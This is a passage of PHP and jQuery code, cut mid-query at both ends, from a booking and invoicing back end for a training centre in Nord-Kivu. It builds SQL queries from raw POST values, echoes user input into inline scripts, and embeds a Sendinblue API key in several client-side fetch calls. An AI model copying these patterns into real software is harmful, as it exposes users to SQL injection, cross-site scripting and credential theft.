'".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' AND B.id_book <> ".$id_book." OR B.code_local = ".$code_local." AND date_to BETWEEN '".$date_from."' AND '".$date_to."' AND hour_to BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' AND B.id_book <> ".$id_book." OR B.code_local = ".$code_local." AND '".$date_from."' BETWEEN date_from AND date_to AND '".$hour_from."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE' AND B.id_book <> ".$id_book." OR B.code_local = ".$code_local." AND '".$date_to."' BETWEEN date_from AND date_to AND '".$hour_to."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE' AND B.id_book <> ".$id_book." "); if($rsrv->rowCount()<1){ $loc=$bd->query("SELECT DATE_FORMAT('".$date_from."','%d-%m-%Y') date_from, DATE_FORMAT('".$date_to."','%d-%m-%Y') date_to "); $r=$loc->fetch(); $duree = ((strtotime($date_to) - strtotime($date_from))/86400)+1; $jr_ouvrable = $samedi = $dimanche = 0; /* Nom Local */ $du = $r['date_from']; $au = $r['date_to']; while($date_from <= $date_to){ $day = date('w', strtotime($date_from)); if($day == 0){ $dimanche=$dimanche + 1; }else if($day== 6){ $samedi=$samedi + 1; }else{ $jr_ouvrable=$jr_ouvrable + 1; } $date_from = date('Y-m-d', strtotime( $date_from . " +1 days")); } $jr_ouvrable = $samedi + $dimanche; $bd->exec("UPDATE booking SET date_from = '".$date_from_."',date_to = '".$date_to."',hour_from = '".$hour_from."',hour_to = '".$hour_to."',simulation = '".$simulation."',nom_booker = '".$nom_booker."',mail_booker = '".$mail_booker."', description = '".$description."',code_local = ".$code_local." WHERE id_book = ".$id_book." "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Votre modification a été enregistrée avec succes ! ",class_name:"color success",time:"10000"}); document.getElementById("form_book").reset(); $(".sim").removeClass('btn-primary');$("#<?php echo $tabs;?>").click(); </script> <?php } else { $indispo =""; $loct=$bd->query("SELECT *, DATE_FORMAT(B.date_from,'%d-%m-%Y') date_from_,DATE_FORMAT(B.date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$code_local." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' "); while($ocp=$loct->fetch()){ $date_du = addslashes($ocp['date_from']); $date_au = $ocp['date_to']; $indispo = "<br>♦ ".$indispo." Du ".$date_du." au ".$date_au." & de ".$ocp['hour_from']." à ".$ocp['hour_to']; } ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le·s local·aux n'est·ne sont pas disponible·s durant le la periode que vous demandez ! Detail <?php echo $indispo; ?> ",class_name:"color danger",time:"8000"}); </script> <?php } } // Print else if($type=="booking_print") { $code_local = addslashes($_POST['loc_b']); $du = addslashes($_POST['du_b']); $au = addslashes($_POST['au_b']); $mail_b = addslashes($_POST['mail_b']); $l=$d=$d2=$m=""; if($code_local !== ""){ $l=" AND B.code_local = ".$code_local;} if($mail_b !== ""){ $m=" AND B.mail_booker = '".$mail_b."'";} if($du !== "" && $au !== ""){ $d=" AND B.date_from BETWEEN '".$du."' AND '".$au."'"; $d2=" AND B.date_to BETWEEN '".$du."' AND '".$au."'";} ?> <i class="entete"> <table style='font-size:12px;'> <tr><th rowspan=4> <h2>CFNK</h2></th></tr> <tr><th> CENTRE DE FORMATION CONTINUE DU NORD KIVU</th></tr> <tr><th> <a href="www.cfnk.org">www.cfnk.org</a></th></tr> <tr><th> +243 970 780 356 </th></tr></table> </i> <hr><h2 class="text-center"> LISTES RESERVATIONS (Filtrée)</h2> <table class="table table-striped table-condensed table-bordered table-hover"> <thead> <tr> <th>N°</th> <th> Local </th> <th> Date début </th> <th> Date de fin </th> <th> Heure(Du - au) </th> <th> Réservé par </th> <th> E-mail </th> <th> Telephone </th> <th> Description </th> </tr> </thead> <tbody> <?php $i=0; $qst=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from, DATE_FORMAT(date_to,'%d-%m-%Y') date_to, DATE_FORMAT(hour_from,'%Hh%i') hour_from, DATE_FORMAT(hour_to,'%Hh%i') hour_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE statut_reservation = 'VALIDEE' ".$d.$l.$m." OR statut_reservation = 'VALIDEE' ".$d2.$l.$m." ORDER BY date_from DESC"); while($rep=$qst->fetch()) { $i++; ?> <tr class=""> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['date_from'];?> </td> <td> <?php echo $rep['date_to'];?> </td> <td> <?php echo $rep['hour_from']." à ".$rep['hour_to'];?> </td> <td> <?php echo $rep['nom_booker'];?> </td> <td> <?php echo $rep['mail_booker'];?></td> <td> <?php echo $rep['phone_booker'];?> </td> <td> <?php echo $rep['description'];?></td> </tr><?php } ?> </tbody> </table> <span class="pull-right"> Imprimé par <?php echo $_SESSION['username']."<br> le".date('d-m-Y à H:i:s');?> </span><br> <hr><span class="text-center" style="padding:1px;"><a href="www.booking.cfnk.org">www.booking.cfnk.org</a> | -- CFNK [Centre de Formation constinue du Nord-Kivu] | contact@cfnk.org --</span><?php } // UPDATE 11-04-2022 prise en compte de statut et des validation else if($type=="valid_a_booking") { $id_book=str_replace("valid_booking","",$_POST['code_book']); $by=$_SESSION['username']; $bd->exec("UPDATE booking SET statut_reservation = 'VALIDEE', valide_by = '".$by."' WHERE id_book = ".$id_book." "); // mail perepare $notif=$bd->query("SELECT *, DATE_FORMAT(date_book,'%d-%m-%Y à %H:%i') date_book FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE id_book = ".$id_book." "); $r=$notif->fetch(); $nom_reservant = $r['nom_booker']; $mail_reservant = $r['mail_booker']; $phone_reservant = $r['phone_booker']; $nom_local = $r['nom_local']; $date_book = $r['date_book']; $valide_by = $r['valide_by']; $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation faite le ".$date_book." pour local '".$nom_local."' vient d'être confirmée par le Centre de Formation continue du Nord-Kivu. Vous pouvez donc entreprendre les contacts avec le centre pour les modalités pratiques. Les coordonées de contact sont en signature de ce mail</p> <p> Dans le même sens l'équipe du CFNK peut entrer en contact avec vous, au besoin, pour quelques precisions.</p> <div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='mailto:contact@cfnk.org'>contact@cfnk.org</a><br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>La reservation N° ".$id_book." de ".$nom_reservant." faite le ".$date_book." pour le local '".$nom_local."' vient d'etre validée par ".$valide_by."</p> <br>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour plus de detail. </div>"; $qst2=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from, DATE_FORMAT(date_to,'%d-%m-%Y') date_to, DATE_FORMAT(hour_from,'%Hh%i') hour_from, DATE_FORMAT(hour_to,'%Hh%i') hour_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE statut_reservation = 'VALIDEE' AND date_from >= DATE(NOW()) OR statut_reservation = 'VALIDEE' AND date_to >= DATE(NOW()) ORDER BY date_from ASC"); ?> <table id="table2" class="table table-striped table-hover table-bordered table-colored table-condensed table-fw-widget"> <thead> <tr> <th>N°</th> <th> Local </th> <th> Date début </th> <th> Date de fin </th> <th> Heure(Du - au) </th> <th> Nom du Réservant </th> <th> E-mail </th> <th> Telephone </th> <th> Description </th> <th></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst2->fetch()) { $i++; ?> <tr id="line<?php echo $rep['id_book'];?>"> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['date_from'];?> </td> <td> <?php echo $rep['date_to'];?> </td> <td> <?php echo $rep['hour_from']." à ".$rep['hour_to'];?> </td> <td> <?php echo $rep['nom_booker'];?> </td> <td> <?php echo $rep['mail_booker'];?></td> <td> <?php echo $rep['phone_booker'];?> </td> <td> <?php echo $rep['description'];?></td> <td class="text-right"> <button type="button" class="btn btn-danger mdi mdi-check cancel_v_booking" id="cancel_v_booking<?php echo $rep['id_book']; ?>" style="border-radius:10px;"> Annuler</button> </td> </tr><?php } ?> </tbody> </table> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"la reservation N° <?php echo $id_book; ?> vient d'être validée ! Merci ",class_name:"color success",time:"8000"}); $("#lin<?php echo $id_book;?>").addClass('hidden'); $(".cancel_v_booking").click(function(e){ var compteur=this.id, code_book = compteur, type="cancel_a_booking_v"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_book:code_book,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%"></center>'); }, success:function(data){ $('#notification-rep').html(''); $('#list_booking_blocked').html(data); } }); }); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Votre réservation N° '.$id_book.' - '.$nom_local;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$nom_local.' Validée';?>", mail_content2 = "<?php echo $mail_content2;?>"; fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK Réservation","email":"info@cfnk.org" }, "to":[ { "email":mail_booker, "name":name_booker } ], "subject":objet, "htmlContent":mail_content }) }) fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }) </script><?php } else if($type=="cancel_a_booking") { $id_book=str_replace("cancel_booking","",$_POST['code_book']); $by=$_SESSION['username']; $bd->exec("UPDATE booking SET statut_reservation = 'ANNULEE', valide_by = '".$by."' WHERE id_book = ".$id_book." "); // mail perepare $notif=$bd->query("SELECT *, DATE_FORMAT(date_book,'%d-%m-%Y à %H:%i') date_book FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE code_book = ".$id_book." "); $r=$notif->fetch(); $nom_reservant = $r['nom_booker']; $mail_reservant = $r['mail_booker']; $phone_reservant = $r['phone_booker']; $nom_local = $r['nom_local']; $date_book = $r['date_book']; $valide_by = $r['valide_by']; $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation faite le ".$date_book." pour local '".$nom_local."' n'as malheureusement pas été confirmée par le CFNK. Vous pouvez contactez le centre pour en savoir plus. Les coordonées de contact sont en signature de ce mail</p> <p> Pour une prochaine fois peut être. </p> <div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='mailto:contact@cfnk.org'>contact@cfnk.org</a><br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>La reservation N° ".$id_book." de ".$nom_reservant." faite le ".$date_book." pour le local '".$nom_local."' vient d'etre refusée par ".$valide_by."</p> <br>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour plus de detail. </div>"; $qst2=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from, DATE_FORMAT(date_to,'%d-%m-%Y') date_to, DATE_FORMAT(hour_from,'%Hh%i') hour_from, DATE_FORMAT(hour_to,'%Hh%i') hour_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE statut_reservation = 'ANNULEE' ORDER BY code_book"); ?> <table id="table3" class="table table-striped table-hover table-bordered table-colored table-condensed table-fw-widget"> <thead> <tr> <th>N°</th> <th> Local </th> <th> Date début </th> <th> Date de fin </th> <th> Heure(Du - au) </th> <th> Nom du Réservant </th> <th> E-mail </th> <th> Telephone </th> <th> Description </th> <th></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst2->fetch()) { $i++; ?> <tr id="li<?php echo $rep['id_book'];?>"> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['date_from'];?> </td> <td> <?php echo $rep['date_to'];?> </td> <td> <?php echo $rep['hour_from']." à ".$rep['hour_to'];?> </td> <td> <?php echo $rep['nom_booker'];?> </td> <td> <?php echo $rep['mail_booker'];?></td> <td> <?php echo $rep['phone_booker'];?> </td> <td> <?php echo $rep['description'];?></td> <td class="text-right"> <button type="button" class="btn btn-primary mdi mdi-check valid_c_booking" id="valid_c_booking<?php echo $rep['id_book']; ?>" style="border-radius:10px;"> Valider</button> </td> </tr><?php } ?> </tbody> </table> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"la reservation N° <?php echo $id_book; ?> vient d'être annulée ! Merci ",class_name:"color danger",time:"8000"}); $("#lin<?php echo $id_book;?>").addClass('hidden'); $(".valid_c_booking").click(function(e){ var compteur=this.id, code_book = compteur, type="valid_a_booking_c"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_book:code_book,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%"></center>'); }, success:function(data){ $('#notification-rep').html(''); $('#list_booking_valided').html(data); } }); }); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Votre réservation N° '.$id_book.' - '.$nom_local;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$nom_local.' Refusée';?>", mail_content2 = "<?php echo $mail_content2;?>"; fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK Réservation","email":"info@cfnk.org" }, "to":[ { "email":mail_booker, "name":name_booker } ], "subject":objet, "htmlContent":mail_content }) }) fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }) </script><?php } else if($type=="valid_a_booking_c") { $id_book=str_replace("valid_c_booking","",$_POST['code_book']); $by=$_SESSION['username']; $bd->exec("UPDATE booking SET statut_reservation = 'VALIDEE', valide_by = '".$by."' WHERE id_book = ".$id_book." "); // mail perepare $notif=$bd->query("SELECT *, DATE_FORMAT(date_book,'%d-%m-%Y à %H:%i') date_book FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE id_book = ".$id_book." "); $r=$notif->fetch(); $nom_reservant = $r['nom_booker']; $mail_reservant = $r['mail_booker']; $phone_reservant = $r['phone_booker']; $nom_local = $r['nom_local']; $date_book = $r['date_book']; $valide_by = $r['valide_by']; $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation faite le ".$date_book." qui n'était pas acceptée, pour local '".$nom_local."' vient d'être à nouveau confirmée par le Centre de Formation continue du Nord-Kivu. Vous pouvez donc entreprendre les contacts avec le centre pour les modalités pratiques. Les coordonées de contact sont en signature de ce mail</p> <p> Dans le même sens l'équipe du CFNK peut entrer en contact avec vous, au besoin, pour quelques precisions.</p> <div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='mailto:contact@cfnk.org'>contact@cfnk.org</a><br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>La reservation N° ".$id_book." de ".$nom_reservant." faite le ".$date_book." pour le local '".$nom_local."' qui étais déjà refusée, vient d'etre validée par ".$valide_by."</p> <br>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour plus de detail. </div>"; $qst2=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from, DATE_FORMAT(date_to,'%d-%m-%Y') date_to, DATE_FORMAT(hour_from,'%Hh%i') hour_from, DATE_FORMAT(hour_to,'%Hh%i') hour_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE statut_reservation = 'VALIDEE' AND date_from >= DATE(NOW()) OR statut_reservation = 'VALIDEE' AND date_to >= DATE(NOW()) ORDER BY date_from ASC"); ?> <table id="table2" class="table table-striped table-hover table-bordered table-colored table-condensed table-fw-widget"> <thead> <tr> <th>N°</th> <th> Local </th> <th> Date début </th> <th> Date de fin </th> <th> Heure(Du - au) </th> <th> Nom du Réservant </th> <th> E-mail </th> <th> Telephone </th> <th> Description </th> <th></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst2->fetch()) { $i++; ?> <tr id="line<?php echo $rep['id_book'];?>"> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['date_from'];?> </td> <td> <?php echo $rep['date_to'];?> </td> <td> <?php echo $rep['hour_from']." à ".$rep['hour_to'];?> </td> <td> <?php echo $rep['nom_booker'];?> </td> <td> <?php echo $rep['mail_booker'];?></td> <td> <?php echo $rep['phone_booker'];?> </td> <td> <?php echo $rep['description'];?></td> <td class="text-right"> <button type="button" class="btn btn-danger mdi mdi-check cancel_v_booking" id="cancel_v_booking<?php echo $rep['id_book']; ?>" style="border-radius:10px;"> Annuler</button> </td> </tr><?php } ?> </tbody> </table> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"la reservation N° <?php echo $id_book; ?> vient d'être validée ! Merci ",class_name:"color success",time:"8000"}); $("#li<?php echo $id_book;?>").addClass('hidden'); $(".cancel_v_booking").click(function(e){ var compteur=this.id, code_book = compteur, type="cancel_a_booking_v"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_book:code_book,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%"></center>'); }, success:function(data){ $('#notification-rep').html(''); $('#list_booking_blocked').html(data); } }); }); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Votre réservation N° '.$id_book.' - '.$nom_local;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$nom_local.' Validée';?>", mail_content2 = "<?php echo $mail_content2;?>"; fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK Réservation","email":"info@cfnk.org" }, "to":[ { "email":mail_booker, "name":name_booker } ], "subject":objet, "htmlContent":mail_content }) }) fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }) </script><?php } else if($type=="cancel_a_booking_v") { $id_book=str_replace("cancel_v_booking","",$_POST['code_book']); $by=$_SESSION['username']; $bd->exec("UPDATE booking SET statut_reservation = 'ANNULEE', valide_by = '".$by."' WHERE id_book = ".$id_book." "); // mail perepare $notif=$bd->query("SELECT *, DATE_FORMAT(date_book,'%d-%m-%Y à %H:%i') date_book FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE id_book = ".$id_book." "); $r=$notif->fetch(); $nom_reservant = $r['nom_booker']; $mail_reservant = $r['mail_booker']; $phone_reservant = $r['phone_booker']; $nom_local = $r['nom_local']; $date_book = $r['date_book']; $valide_by = $r['valide_by']; $mail_content = "<html><head></head><body><p>Bonjour ".$nom_reservant.",</p>Votre demande de réservation faite le ".$date_book." pour local '".$nom_local."' vient malheureusement d'être annulée par le CFNK. Vous pouvez contactez le centre pour en savoir plus. Les coordonées de contact sont en signature de ce mail</p> <p> Pour une prochaine fois peut être. </p> <div> <br/>Merci d'avoir choisi le CFNK <br><hr><b> Centre de Formation continue du Nord-Kivu</b><br>+243 970 780 356 <br><a href='mailto:contact@cfnk.org'>contact@cfnk.org</a><br><a href='https://cfnk.org'>WWW.CFNK.ORG</a></div>"; $mail_content2 = "<html><head></head><body><p>Bonjour </p>La reservation N° ".$id_book." de ".$nom_reservant." faite le ".$date_book." pour le local '".$nom_local."' qui était déjà validée vient d'etre refusée par ".$valide_by."</p> <br>Merci de vous connecter au <a href='https://booking.cfnk.org'>WWW.BOOKING.CFNK.ORG</a> Pour plus de detail. </div>"; $qst2=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from, DATE_FORMAT(date_to,'%d-%m-%Y') date_to, DATE_FORMAT(hour_from,'%Hh%i') hour_from, DATE_FORMAT(hour_to,'%Hh%i') hour_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE statut_reservation = 'ANNULEE' ORDER BY code_book"); ?> <table id="table3" class="table table-striped table-hover table-bordered table-colored table-condensed table-fw-widget"> <thead> <tr> <th>N°</th> <th> Local </th> <th> Date début </th> <th> Date de fin </th> <th> Heure(Du - au) </th> <th> Nom du Réservant </th> <th> E-mail </th> <th> Telephone </th> <th> Description </th> <th></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst2->fetch()) { $i++; ?> <tr id="li<?php echo $rep['id_book'];?>"> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_local'];?> </td> <td> <?php echo $rep['date_from'];?> </td> <td> <?php echo $rep['date_to'];?> </td> <td> <?php echo $rep['hour_from']." à ".$rep['hour_to'];?> </td> <td> <?php echo $rep['nom_booker'];?> </td> <td> <?php echo $rep['mail_booker'];?></td> <td> <?php echo $rep['phone_booker'];?> </td> <td> <?php echo $rep['description'];?></td> <td class="text-right"> <button type="button" class="btn btn-primary mdi mdi-check valid_c_booking" id="valid_c_booking<?php echo $rep['id_book']; ?>" style="border-radius:10px;"> Valider</button> </td> </tr><?php } ?> </tbody> </table> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"la reservation N° <?php echo $id_book; ?> vient d'être annulée ! Merci ",class_name:"color danger",time:"8000"}); $("#line<?php echo $id_book;?>").addClass('hidden'); $(".valid_c_booking").click(function(e){ var compteur=this.id, code_book = compteur, type="valid_a_booking_c"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_book:code_book,type:type}, beforeSend:function(){ $('#notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%"></center>'); }, success:function(data){ $('#notification-rep').html(''); $('#list_booking_valided').html(data); } }); }); var mail_booker = "<?php echo $mail_reservant;?>", name_booker = "<?php echo $nom_reservant;?>", objet ="<?php echo 'Votre réservation N° '.$id_book.' - '.$nom_local;?>", mail_content = "<?php echo $mail_content;?>"; var mail_raf = "raf@cfnk.org", mail_dir = "dir@cfnk.org", mail_sec = "sec@cfnk.org", name_ = "Equipe CFNK", objet2 ="<?php echo 'Réservation -'.$nom_local.' Refusée';?>", mail_content2 = "<?php echo $mail_content2;?>"; fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK Réservation","email":"info@cfnk.org" }, "to":[ { "email":mail_booker, "name":name_booker } ], "subject":objet, "htmlContent":mail_content }) }) fetch("https://api.sendinblue.com/v3/smtp/email", { headers: { 'Accept': 'application/json', 'Content-Type': 'application/json', 'api-key':'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', }, method: "POST", body: JSON.stringify({"sender":{"name":"CFNK - RESERVATION","email":"info@cfnk.org" }, "to":[ { "email":mail_raf, "name":name_ },{ "email":mail_dir, "name":name_ },{ "email":mail_sec, "name":name_ } ], "subject":objet2, "htmlContent":mail_content2 }) }) </script><?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ FACTURATION ++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type=="search_client_pdv") { $search_p_c = '%'.$_POST['search_p_c'].'%'; $sql=$bd->query("SELECT * FROM point_vente WHERE nom_pdv LIKE '".$search_p_c."' ORDER BY nom_pdv "); ?> <div class="panel-heading"> <button class="btn btn-default mdi mdi-account pull-left" style="border-radius:10px;width:100%" id="client_ambulatoire"> Client non identifié (Vente Cash)</button> </div> <table class="table table-condensed table-bordered table-hover" style="font-size:10px" width='100%'> <tr> <th colspan=6>Resultat POINT DE VENTE</th> </tr> <?php while($rs=$sql->fetch()) { ?> <tr class="take_pdv" id="take_pdv<?php echo $rs['code_pdv']?>"> <td><?php echo $rs['code_pdv'];?> </td> <td><?php echo $rs['nom_pdv'];?> </td> <td><?php echo $rs['adresse'];?></td> <td><?php echo $rs['telephone'];?></td> <td><?php echo $rs['responsable'];?></td> <td> <button type="button" class="btn btn-primary"><i class="icon mdi mdi-store"></i></button> </td> </tr> <?php } ?> </table> <?php $sql=$bd->query("SELECT * FROM client WHERE nom_client LIKE '".$search_p_c."' ORDER BY nom_client "); ?> <table class="table table-condensed table-bordered table-hover" style="font-size:10px" width='100%'> <tr> <th colspan=6>Resultat CLIENT</th> </tr> <?php while($rs=$sql->fetch()) { ?> <tr class="take_client" id="take_client<?php echo $rs['code_client']?>"> <td><?php echo $rs['code_client'];?> </td> <td><?php echo $rs['nom_client'];?> </td> <td><?php echo $rs['adresse_phys'];?></td> <td><?php echo $rs['telephone'];?></td> <td><?php echo $rs['personne_contact'];?></td> <td> <button type="button" class="btn btn-primary"><i class="icon mdi mdi-account"></i></button> </td> </tr> <?php } ?> </table> <script type="text/javascript"> $(".take_pdv").click(function(){ var compteur=this.id, code_pdv=compteur, type_facturation = "point_vente", type="select_pdv_for_facture"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_pdv:code_pdv,type_facturation:type_facturation,type:type}, beforeSend:function(){ $('.notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#client_pdv').html('<center><img src="images/loaders/loader18.gif" alt="Patienter" width="50%"></center>'); }, success:function(data){ $('#client_pdv').html(data); $('.notification-rep').html(""); } }); }); $(".take_client").click(function(){ var compteur=this.id, code_client=compteur, type_facturation = "client", type="select_client_for_facture"; $.ajax({ url: 'fonction/save.php', type: 'POST', data: {code_client:code_client,type_facturation:type_facturation,type:type}, beforeSend:function(){ $('.notification-rep').html('<center><img src="images/loaders/loader25.gif" alt="Patienter" width="70%" height="10px"></center>'); $('#client_pdv').html('<center><img src="images/loaders/loader18.gif" alt="Patienter" width="50%"></center>'); }, success:function(data){ $('#client_pdv').html(data); $('.notification-rep').html(""); } }); }); $("#client_ambulatoire").click(function(){ var compteur=this.id, facture_res="<?php echo $_POST['search_p_c']; ?>", type_facturation = "ambulatoire"; $("#type_facturation").val(type_facturation); $("#code_res").val(facture_res); $("#responsable_facture").html(" A l'intention de : "+facture_res); $("#client_pdv").html(""); }); </script><?php } else if($type=="select_pdv_for_facture") { $code_pdv = preg_replace("#take_pdv#","",$_POST['code_pdv']); $type_facturation = $_POST['type_facturation']; $pdv=$bd->query("SELECT * FROM point_vente WHERE code_pdv = ".$code_pdv." "); $p=$pdv->fetch(); ?> <script type="text/javascript"> $("#type_facturation").val("<?php echo $type_facturation;?>"); $("#code_res").val("<?php echo $code_pdv;?>"); $("#responsable_facture").html("Point de vente : <?php echo $p['nom_pdv'];?>"); </script><?php } else if($type=="select_client_for_facture") { $code_client = preg_replace("#take_client#","",$_POST['code_client']); $type_facturation = $_POST['type_facturation']; $client=$bd->query("SELECT * FROM client WHERE code_client = ".$code_client." "); $c=$client->fetch(); ?> <script type="text/javascript"> $("#type_facturation").val("<?php echo $type_facturation;?>"); $("#code_res").val("<?php echo $code_client;?>"); $("#responsable_facture").html(" Client : <?php echo $c['nom_client'];?>"); </script><?php } else if($type=="search_item_facturation") { $qty_taken = $_POST['qty_taken']; $type_prix = $_POST['type_prix']; $type_fact = $_POST['type_fact']; $search_item = '%'.$_POST['search_item'].'%'; if($type_fact=="clavier"){ $sql=$bd->query("SELECT * FROM (article A INNER JOIN stock_article SA ON A.code_article = SA.code_article) NATURAL JOIN categorie_article C WHERE C.categorie LIKE '".$search_item."' 